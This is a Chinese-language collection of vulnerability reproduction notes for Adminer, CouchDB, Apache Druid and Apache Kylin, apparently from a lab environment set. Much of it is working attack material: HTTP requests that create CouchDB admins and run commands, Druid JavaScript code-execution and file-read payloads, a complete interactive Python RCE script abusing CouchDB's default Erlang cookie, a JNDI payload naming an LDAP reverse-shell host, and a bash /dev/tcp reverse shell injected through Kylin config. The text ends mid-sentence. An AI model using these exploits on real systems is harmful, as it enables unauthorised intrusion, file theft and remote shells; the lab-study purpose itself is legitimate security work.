数据库及管理工具
adminer
CVE-2021-21311
Adminer ElasticSearch 和 ClickHouse 错误页面SSRF漏洞(CVE-2021-21311)
Adminer是一个PHP编写的开源数据库管理工具,支持MySQL、MariaDB、PostgreSQL、SQLite、MS SQL、Oracle、Elasticsearch、MongoDB等数据库。
在其4.0.0到4.7.9版本之间,连接 ElasticSearch 和 ClickHouse 数据库时存在一处服务端请求伪造漏洞(SSRF)。
参考连接:
- https://github.com/vrana/adminer/security/advisories/GHSA-x5r2-hj5c-8jx6
- https://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21311.yaml
漏洞环境
执行如下命令启动一个安装了Adminer 4.7.8的PHP服务:
docker compose up -d
服务启动后,在http://your-ip:8080
即可查看到Adminer的登录页面。
漏洞复现
在Adminer登录页面,选择ElasticSearch作为系统目标,并在server字段填写example.com
,点击登录即可看到example.com
返回的400错误页面展示在页面中:
CVE-2021-43008
Adminer远程文件读取(CVE-2021-43008)
Adminer是一个PHP编写的开源数据库管理工具,支持MySQL、MariaDB、PostgreSQL、SQLite、MS SQL、Oracle、Elasticsearch、MongoDB等数据库。
在其版本1.12.0到4.6.2之间存在一处因为MySQL LOAD DATA LOCAL导致的文件读取漏洞。
参考链接:
- https://github.com/p0dalirius/CVE-2021-43008-AdminerRead
- http://sansec.io/research/adminer-4.6.2-file-disclosure-vulnerability
漏洞环境
执行如下命令启动Web服务,其中包含Adminer 4.6.2:
docker compose up -d
服务启动后,在http://your-ip:8080
即可查看到Adminer的登录页面。
Exploit
使用mysql-fake-server启动一个恶意的MySQL服务器。在Adminer登录页面中填写恶意服务地址和用户名fileread_/etc/passwd
:
可见,我们已经收到客户端连接,读取到的文件/etc/passwd
已保存至当前目录:
Apache-CouchDB
CVE-2017-12635
Couchdb 垂直权限绕过漏洞(CVE-2017-12635)
Apache CouchDB是一个开源数据库,专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。
在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。
影响版本:小于 1.7.0 以及 小于 2.1.1
参考链接:
- http://bobao.360.cn/learning/detail/4716.html
- https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
测试环境
编译及启动环境:
docker compose build
docker compose up -d
环境启动后,访问http://your-ip:5984/_utils/
即可看到一个web页面,说明Couchdb已成功启动。但我们不知道密码,无法登陆。
漏洞复现
首先,发送如下数据包:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"password": "vulhub"
}
可见,返回403错误:{"error":"forbidden","reason":"Only _admin may set roles"}
,只有管理员才能设置Role角色:
发送包含两个roles的数据包,即可绕过限制:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
成功创建管理员,账户密码均为vulhub
:
再次访问http://your-ip:5984/_utils/
,输入账户密码vulhub
,可以成功登录:
CVE-2017-12636
Couchdb 任意命令执行漏洞(CVE-2017-12636)
Apache CouchDB是一个开源数据库,专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。
在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server
,这个配置项在设计、执行view的时候将被运行。
影响版本:小于 1.7.0 以及 小于 2.1.1
参考链接:
- http://bobao.360.cn/learning/detail/4716.html
- https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
测试环境
Couchdb 2.x和和1.x的API接口有一定区别,所以这个漏洞的利用方式也不同。本环境启动的是1.6.0版本,如果你想测试2.1.0版本,可以启动CVE-2017-12635附带的环境。
执行如下命令启动Couchdb 1.6.0环境:
docker compose up -d
启动完成后,访问http://your-ip:5984/
即可看到Couchdb的欢迎页面。
漏洞复现
该漏洞是需要登录用户方可触发,如果不知道目标管理员密码,可以利用CVE-2017-12635先增加一个管理员用户。
1.6.0 下的说明
依次执行如下请求即可触发任意命令执行:
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
其中,vulhub:vulhub
为管理员账号密码。
第一个请求是添加一个名字为cmd
的query_servers
,其值为"id >/tmp/success"
,这就是我们后面待执行的命令。
第二、三个请求是添加一个Database和Document,这里添加了后面才能查询。
第四个请求就是在这个Database里进行查询,因为我将language设置为cmd
,这里就会用到我第一步里添加的名为cmd
的query_servers
,最后触发命令执行。
2.1.0 下的说明
2.1.0中修改了我上面用到的两个API,这里需要详细说明一下。
Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name。这个其实也简单,我们带上账号密码访问/_membership
即可:
curl http://vulhub:vulhub@your-ip:5984/_membership
可见,我们这里只有一个node,名字是nonode@nohost
。
然后,我们修改nonode@nohost
的配置:
curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'
然后,与1.6.0的利用方式相同,我们先增加一个Database和一个Document:
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
Couchdb 2.x删除了_temp_view
,所以我们为了触发query_servers
中定义的命令,需要添加一个_view
:
curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json"
增加_view
的同时即触发了query_servers
中的命令。
利用脚本
写了一个简单的脚本 exp.py,修改其中的target和command为你的测试机器,然后修改version为对应的Couchdb版本(1或2),成功反弹shell:
CVE-2022-24706
CouchDB Erlang 分布式协议代码执行 (CVE-2022-24706)
Apache CouchDB是一个Erlang开发的NoSQL数据库。
由于Erlang的特性,其支持分布式计算,分布式节点之间通过Erlang/OTP Distribution协议进行通信。攻击者如果知道通信时使用的Cookie,即可在握手包通过认证并执行任意命令。
在CouchDB 3.2.1及以前版本中,使用了默认Cookie,值为“monster”。
参考链接:
- https://docs.couchdb.org/en/3.2.2-docs/cve/2022-24706.html
- https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
- https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/misc/erlang_cookie_rce.rb
- https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit
漏洞影响
网络测绘
漏洞环境
执行如下命令启动一个Apache CouchDB 3.2.1服务:
docker compose up -d
服务启动后,会监听三个端口:
- 5984: Apache CouchDB Web管理接口
- 4369: Erlang端口映射服务(epmd)
- 9100: 集群节点通信和运行时自省服务(代码执行实际发生在这个端口中)
其中,Web管理接口和epmd服务端口是固定的,而集群通信接口在Vulhub中是9100。实际环境下,这个端口通常是随机的,我们可以通过epmd服务来获取这个端口的数值。
漏洞复现
我们可以使用这个POC来利用本漏洞。这个POC会先通过目标的4369端口epmd服务获取集群通信的端口,也就是9100,然后再使用默认Cookie来控制节点执行任意命令。
python poc.py target-ip 4369
主页面, 默认端口为 5984
使用POC验证
验证POC
# Exploit Title: Apache CouchDB 3.2.1 - Remote Code Execution (RCE)
# Date: 2022-01-21
# Exploit Author: Konstantin Burov, @_sadshade
# Software Link: https://couchdb.apache.org/
# Version: 3.2.1 and below
# Tested on: Kali 2021.2
# Based on 1F98D's Erlang Cookie - Remote Code Execution
# Shodan: port:4369 "name couchdb at"
# CVE: CVE-2022-24706
# References:
# https://habr.com/ru/post/661195/
# https://www.exploit-db.com/exploits/49418
# https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
# https://book.hacktricks.xyz/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd#erlang-cookie-rce
#
#
#!/usr/local/bin/python3
import socket
from hashlib import md5
import struct
import sys
import re
import time
TARGET = ""
EPMD_PORT = 4369 # Default Erlang distributed port
COOKIE = "monster" # Default Erlang cookie for CouchDB
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e" # Request for nodes list
# Some data:
NAME_MSG = b"\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"
def compile_cmd(CMD):
MSG = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
MSG += struct.pack(">H", len(CMD))
MSG += bytes(CMD, 'ascii')
MSG += b'jw\x04user'
PAYLOAD = b'\x70' + CTRL_DATA + MSG
PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
return PAYLOAD
print("Remote Command Execution via Erlang Distribution Protocol.\n")
while not TARGET:
TARGET = input("Enter target host:\n> ")
# Connect to EPMD:
try:
epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
print("Couldnt connect to EPMD: %s\n terminating program" % msg)
sys.exit(1)
epm_socket.send(EPM_NAME_CMD) #request Erlang nodes
if epm_socket.recv(4) == b'\x00\x00\x11\x11': # OK
data = epm_socket.recv(1024)
data = data[0:len(data) - 1].decode('ascii')
data = data.split("\n")
if len(data) == 1:
choise = 1
print("Found " + data[0])
else:
print("\nMore than one node found, choose which one to use:")
line_number = 0
for line in data:
line_number += 1
print(" %d) %s" %(line_number, line))
choise = int(input("\n> "))
ERLNAG_PORT = int(re.search("\d+$",data[choise - 1])[0])
else:
print("Node list request error, exiting")
sys.exit(1)
epm_socket.close()
# Connect to Erlang port:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
sys.exit(1)
s.send(NAME_MSG)
s.recv(5) # Receive "ok" message
challenge = s.recv(1024) # Receive "challenge" message
challenge = struct.unpack(">I", challenge[9:13])[0]
#print("Extracted challenge: {}".format(challenge))
# Add Challenge Digest
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
+ bytes(str(challenge), "ascii")).digest()
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)
if len(CHALLENGE_RESPONSE) == 0:
print("Authentication failed, exiting")
sys.exit(1)
print("Authentication successful")
print("Enter command:\n")
data_size = 0
while True:
if data_size <= 0:
CMD = input("> ")
if not CMD:
continue
elif CMD == "exit":
sys.exit(0)
s.send(compile_cmd(CMD))
data_size = struct.unpack(">I", s.recv(4))[0] # Get data size
s.recv(45) # Control message
data_size -= 45 # Data size without control message
time.sleep(0.1)
elif data_size < 1024:
data = s.recv(data_size)
#print("S---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
time.sleep(0.1)
print(data.decode())
data_size = 0
else:
data = s.recv(1024)
#print("L---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
time.sleep(0.1)
print(data.decode(),end = '')
data_size -= 1024
Apache-druid
CVE-2021-25646
Apache Druid 代码执行漏洞(CVE-2021-25646)
Apache Druid是一个开源的分布式数据存储。
Apache Druid包括执行嵌入在各种类型请求中的用户提供的JavaScript代码的能力。这个功能是为了在可信环境下使用,并且默认是禁用的。然而,在Druid 0.20.0及以前的版本中,攻击者可以通过发送一个恶意请求使Druid用内置引擎执行任意JavaScript代码,而不管服务器配置如何,这将导致代码和命令执行漏洞。
参考链接:
- https://blogs.juniper.net/en-us/threat-research/cve-2021-25646-apache-druid-embedded-javascript-remote-code-execution
- https://mp.weixin.qq.com/s/McAoLfyf_tgFIfGTAoRCiw
漏洞影响
漏洞环境
执行如下命令启动一个Apache Druid 0.20.0服务器:
docker compose up -d
服务启动后,访问http://your-ip:8888
即可查看到Apache Druid主页。
漏洞复现
直接发送如下请求即可执行其中的JavaScript代码:
POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"test",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{
},
"dimensionsSpec":{
},
"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}
可见,id
命令已被成功执行:
CVE-2021-36749
Apache Druid LoadData 任意文件读取漏洞
漏洞描述
由于用户指定 HTTP InputSource 没有做出限制,可以通过将文件 URL 传递给 HTTP InputSource 来绕过应用程序级别的限制。攻击者可利用该漏洞在未授权情况下,构造恶意请求执行文件读取,最终造成服务器敏感性信息泄露。
漏洞影响
网络测绘
漏洞复现
主页面
复现过程
请求包为
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Accept: application/json, text/plain, */*
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["file:///etc/passwd"]},"inputFormat":{"type":"regex","pattern":"(.*)","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dimensionsSpec":{}},"tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}
Apache Druid sampler kafka 远程命令执行漏洞
漏洞描述
Apache Druid 支持从 Kafka 加载数据,恶意的攻击者可通过修改 Kafka 连接配置属性,从而进一步触发 JNDI 注入攻击,最终攻击者可在服务端执行任意恶意代码,获取系统服务权限。
漏洞影响
网络测绘
漏洞复现
登陆页面
验证POC
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 1392
Content-Type: application/json
Accept-Encoding: gzip, deflate
Connection: close
{
"type":"kafka",
"spec":{
"type":"kafka",
"ioConfig":{
"type":"kafka",
"consumerProperties":{
"bootstrap.servers":"6.6.6.6:9092",
"sasl.mechanism":"SCRAM-SHA-256",
"security.protocol":"SASL_SSL",
"sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://xxx.xxx.xxx.xxx:1389/Basic/ReverseShell/xxx.xxx.xxx.xxx/8373\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
},
"topic":"any",
"useEarliestOffset":true,
"inputFormat":{
"type":"regex",
"pattern":"([\\s\\S]*)",
"listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
"columns":[
"raw"
]
}
},
"dataSchema":{
"dataSource":"sample",
"timestampSpec":{
"column":"!!!_no_such_column_!!!",
"missingValue":"1970-01-01T00:00:00Z"
},
"dimensionsSpec":{
},
"granularitySpec":{
"rollup":false
}
},
"tuningConfig":{
"type":"kafka"
}
},
"samplerConfig":{
"numRows":500,
"timeoutMs":15000
}
}
POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('ping p3fpw5.dnslog.cn')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
Apache-Kylin
CVE-2020-13937
Apache Kylin config 未授权配置泄露
漏洞描述
Apache Kylin有一个restful api会在没有任何认证的情况下暴露配置信息
Apache Kylin 是美国 Apache软件基金会的一款开源的分布式分析型数据仓库。该产品主要提供 Hadoop/Spark之上的 SQL查询接口及多维分析(OLAP)等功能。
网络测绘
环境搭建
docker pull apachekylin/apache-kylin-standalone:3.0.1
docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1
打开后使用默认账号密码admin/KYLIN登录,出现初始界面即为成功
漏洞复现
漏洞验证POC
/kylin/api/admin/config
CVE-2020-1956
Apache Kylin CubeService.java 命令注入漏洞
漏洞描述
2020年5月22日,CNVD通报了 Apache Kylin存在命令注入漏洞 CVE-2020-1956
Apache Kylin 是美国 Apache软件基金会的一款开源的分布式分析型数据仓库。该产品主要提供 Hadoop/Spark之上的 SQL查询接口及多维分析(OLAP)等功能。
影响版本
环境搭建
docker pull apachekylin/apache-kylin-standalone:3.0.1
docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1
打开后使用默认账号密码admin/KYLIN登录,出现初始界面即为成功
漏洞复现
查看这个漏洞修复的补丁
这里可以看到此漏洞有关的参数有三个,分别是 srcCfgUri
、dstCfgUri
、projectName
, 相关的函数为 migrateCube
官方文档中对 migrateCube
的描述
POST /kylin/api/cubes/{cube}/{project}/migrate
下载 Apache Kylin 3.0.1 的源代码进行代码审计,出现漏洞函数的文件为以下路径
apache-kylin-3.0.1\server-base\src\main\java\org\apache\kylin\rest\service\CubeService.java
找到migrateCube
函数
{1-2}@PreAuthorize(Constant.ACCESS_HAS_ROLE_ADMIN + " or hasPermission(#cube, 'ADMINISTRATION') or hasPermission(#cube, 'MANAGEMENT')") public void migrateCube(CubeInstance cube, String projectName) { KylinConfig config = cube.getConfig(); if (!config.isAllowAutoMigrateCube()) { throw new InternalErrorException("One click migration is disabled, please contact your ADMIN"); } for (CubeSegment segment : cube.getSegments()) { if (segment.getStatus() != SegmentStatusEnum.READY) { throw new InternalErrorException( "At least one segment is not in READY state. Please check whether there are Running or Error jobs."); } } String srcCfgUri = config.getAutoMigrateCubeSrcConfig(); String dstCfgUri = config.getAutoMigrateCubeDestConfig(); Preconditions.checkArgument(StringUtils.isNotEmpty(srcCfgUri), "Source configuration should not be empty."); Preconditions.checkArgument(StringUtils.isNotEmpty(dstCfgUri), "Destination configuration should not be empty."); String stringBuilderstringBuilder = ("%s/bin/kylin.sh org.apache.kylin.tool.CubeMigrationCLI %s %s %s %s %s %s true true"); String cmd = String.format(Locale.ROOT, stringBuilder, KylinConfig.getKylinHome(), srcCfgUri, dstCfgUri, cube.getName(), projectName, config.isAutoMigrateCubeCopyAcl(), config.isAutoMigrateCubePurge()); logger.info("One click migration cmd: " + cmd); CliCommandExecutor exec = new CliCommandExecutor(); PatternedLogger patternedLogger = new PatternedLogger(logger); try { exec.execute(cmd, patternedLogger); } catch (IOException e) { throw new InternalErrorException("Failed to perform one-click migrating", e); } }
PreAuthorize
里面定义了路由权限,ADMIN
权限、ADMINISTRATION
权限和MANAGEMENT
权限可以访问该service
。
@PreAuthorize(Constant.ACCESS_HAS_ROLE_ADMIN
+ " or hasPermission(#cube, 'ADMINISTRATION') or hasPermission(#cube, 'MANAGEMENT')")
在1087行判断是否开启了MigrateCube
设置,如果没有开启则会报错
跟进 isAllowAutoMigrateCube()
这个函数
可以看到这里默认的配置kylin.tool.auto-migrate-cube.enabled
就是Flase
{2}public boolean isAllowAutoMigrateCube() { return Boolean.parseBoolean(getOptional("kylin.tool.auto-migrate-cube.enabled", FALSE)); }
在没有开启配置kylin.tool.auto-migrate-cube.enabled
为true
的情况下,调用MigrateCube
则会出现报错
通过Apache Kylin
的SYSTEM模块
开启kylin.tool.auto-migrate-cube.enabled
为True
设置后再去请求则不会出现刚刚的报错,而是出现Source configuration should not be empty
跟进出现报错的代码块
{4-5}String srcCfgUri = config.getAutoMigrateCubeSrcConfig(); String dstCfgUri = config.getAutoMigrateCubeDestConfig(); Preconditions.checkArgument(StringUtils.isNotEmpty(srcCfgUri), "Source configuration should not be empty."); Preconditions.checkArgument(StringUtils.isNotEmpty(dstCfgUri), "Destination configuration should not be empty.");
这里进行了对kylin.tool.auto-migrate-cube.src-config
和kylin.tool.auto-migrate-cube.dest-config
的配置进行了检测,如果为空则会出现刚刚的报错
跟进 getAutoMigrateCubeSrcConfig()
和getAutoMigrateCubeDestConfig()
函数
{2}public String getAutoMigrateCubeSrcConfig() { return getOptional("kylin.tool.auto-migrate-cube.src-config", ""); } public String getAutoMigrateCubeDestConfig() { return getOptional("kylin.tool.auto-migrate-cube.dest-config", ""); }
发现这两个配置默认为空,因为配置允许自定义,所以srcCfgUri
和dstCfgUri
两个变量均是可控的, 继续向下走,发现一处命令拼接
{1-4}String stringBuilder = ("%s/bin/kylin.sh org.apache.kylin.tool.CubeMigrationCLI %s %s %s %s %s %s true true"); String cmd = String.format(Locale.ROOT, stringBuilder, KylinConfig.getKylinHome(), srcCfgUri, dstCfgUri, cube.getName(), projectName, config.isAutoMigrateCubeCopyAcl(), config.isAutoMigrateCubePurge()); logger.info("One click migration cmd: " + cmd); CliCommandExecutor exec = new CliCommandExecutor(); PatternedLogger patternedLogger = new PatternedLogger(logger); try { exec.execute(cmd, patternedLogger); } catch (IOException e) { throw new InternalErrorException("Failed to perform one-click migrating", e); } }
进入到execute
函数
{17}private Pair<Integer, String> runRemoteCommand(String command, Logger logAppender) throws IOException { SSHClient ssh = new SSHClient(remoteHost, port, remoteUser, remotePwd); SSHClientOutput sshOutput; try { sshOutput = ssh.execCommand(command, remoteTimeoutSeconds, logAppender); int exitCode = sshOutput.getExitCode(); String output = sshOutput.getText(); return Pair.newPair(exitCode, output); } catch (IOException e) { throw e; } catch (Exception e) { throw new IOException(e.getMessage(), e); } } private Pair<Integer, String> runNativeCommand(String command, Logger logAppender) throws IOException { String[] cmd = new String[3]; String osName = System.getProperty("os.name"); if (osName.startsWith("Windows")) { cmd[0] = "cmd.exe"; cmd[1] = "/C"; } else { cmd[0] = "/bin/bash"; cmd[1] = "-c"; } cmd[2] = command; ProcessBuilder builder = new ProcessBuilder(cmd); builder.redirectErrorStream(true); Process proc = builder.start(); BufferedReader reader = new BufferedReader( new InputStreamReader(proc.getInputStream(), StandardCharsets.UTF_8)); String line; StringBuilder result = new StringBuilder(); while ((line = reader.readLine()) != null && !Thread.currentThread().isInterrupted()) { result.append(line).append('\n'); if (logAppender != null) { logAppender.log(line); } } if (Thread.interrupted()) { logger.info("CliCommandExecutor is interruppted by other, kill the sub process: " + command); proc.destroy(); try { Thread.sleep(1000); } catch (InterruptedException e) { // do nothing } return Pair.newPair(1, "Killed"); } try { int exitCode = proc.waitFor(); return Pair.newPair(exitCode, result.toString()); } catch (InterruptedException e) { Thread.currentThread().interrupt(); throw new IOException(e); } } }
由此可以得出我们可以通过这两个可控的参数,执行任意我们需要的命令,例如反弹一个shell,设置的配置为
kylin.tool.auto-migrate-cube.enabled=true
kylin.tool.auto-migrate-cube.src-config=echo;bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9999 0>&1
kylin.tool.auto-migrate-cube.dest-config=shell
再去发送POST
请求 /kylin/api/cubes/kylin_sales_cube/learn_kylin/migrate
成功反弹一个shell
Apache Kylin DiagnosisController.java 命令注入漏洞 CVE-2020-13925
漏洞描述
6月,京东安全的蓝军团队发现了一个 apache kylin 远程命令执行严重漏洞( CVE-2020-13925)。黑客可以利用这个漏洞,登录任何管理员账号和密码默认未修改的账号,获得管理员权限。由于Apache Kylin被广泛应用于企业的大数据分析平台,因此该漏洞将对企业核心数据具有较大的危害,存在数据泄露风险,建议用户尽快升级软件至安全版本。
影响版本
环境搭建
docker pull apachekylin/apache-kylin-standalone:3.0.1
docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1
打开后使用默认账号密码admin/KYLIN登录,出现初始界面即为成功
漏洞复现
出现漏洞的代码文件在server-base/src/main/java/org/apache/kylin/rest/controller/DiagnosisController.java
{4}/** * Get diagnosis information for project */ @RequestMapping(value = "/project/{project}/download", method = { RequestMethod.GET }, produces = { "application/json" }) @ResponseBody public void dumpProjectDiagnosisInfo(@PathVariable String project, final HttpServletRequest request, final HttpServletResponse response) { try (AutoDeleteDirectory diagDir = new AutoDeleteDirectory("diag_project", "")) { String filePath = dgService.dumpProjectDiagnosisInfo(project, diagDir.getFile()); setDownloadResponse(filePath, response); } catch (IOException e) { throw new InternalErrorException("Failed to dump project diagnosis info. " + e.getMessage(), e); } }
这里可以看到 {project}
参数是用户可控的变量,向下跟进dumpProjectDiagnosisInfo
函数
{1}public String dumpProjectDiagnosisInfo(String project, File exportPath) throws IOException { aclEvaluate.checkProjectOperationPermission(project); String[] args = { project, exportPath.getAbsolutePath() }; runDiagnosisCLI(args); return getDiagnosisPackageName(exportPath); }
首先通过checkProjectOperationPermission
函数来检查该project
是否许可,然后构建一个args
的字符串数组,看一下checkProjectOperationPermission
函数
{2}public void checkProjectOperationPermission(String projectName) { ProjectInstance projectInstance = getProjectInstance(projectName); aclUtil.hasProjectOperationPermission(projectInstance); }
这里传入projectName
,然后通过getProjectInstance
来获取项目实例,跟进getProjectInstance
{1}private ProjectInstance getProjectInstance(String projectName) { return ProjectManager.getInstance(KylinConfig.getInstanceFromEnv()).getProject(projectName); }
因为 projectName
会被我们替换掉,所以不会获得一个正确的projectName
,则会返回一个Null,查看下hasProjectOperationPermission
函数
{5}@PreAuthorize(Constant.ACCESS_HAS_ROLE_ADMIN + " or hasPermission(#project, 'ADMINISTRATION')" + " or hasPermission(#project, 'MANAGEMENT')" + " or hasPermission(#project, 'OPERATION')") public boolean hasProjectOperationPermission(ProjectInstance project) { return true; }
这里并没有对projectName
进行检验,只对用户身份进行了检验,当为ADMIN、ADMINISTRATION、MANAGEMENT、OPERATION
等权限,该值默认返回为true
,回到 dumpProjectDiagnosisInfo
函数,向下继续跟进runDiagnosisCLI
函数
{14-16}private void runDiagnosisCLI(String[] args) throws IOException { Message msg = MsgPicker.getMsg(); File cwd = new File(""); logger.debug("Current path: " + cwd.getAbsolutePath()); logger.debug("DiagnosisInfoCLI args: " + Arrays.toString(args)); File script = new File(KylinConfig.getKylinHome() + File.separator + "bin", "diag.sh"); if (!script.exists()) { throw new BadRequestException( String.format(Locale.ROOT, msg.getDIAG_NOT_FOUND(), script.getAbsolutePath())); } String diagCmd = script.getAbsolutePath() + " " + StringUtils.join(args, " "); CliCommandExecutor executor = KylinConfig.getInstanceFromEnv().getCliCommandExecutor(); Pair<Integer, String> cmdOutput = executor.execute(diagCmd); if (cmdOutput.getFirst() != 0) { throw new BadRequestException(msg.getGENERATE_DIAG_PACKAGE_FAIL()); } }
注意看这几行代码
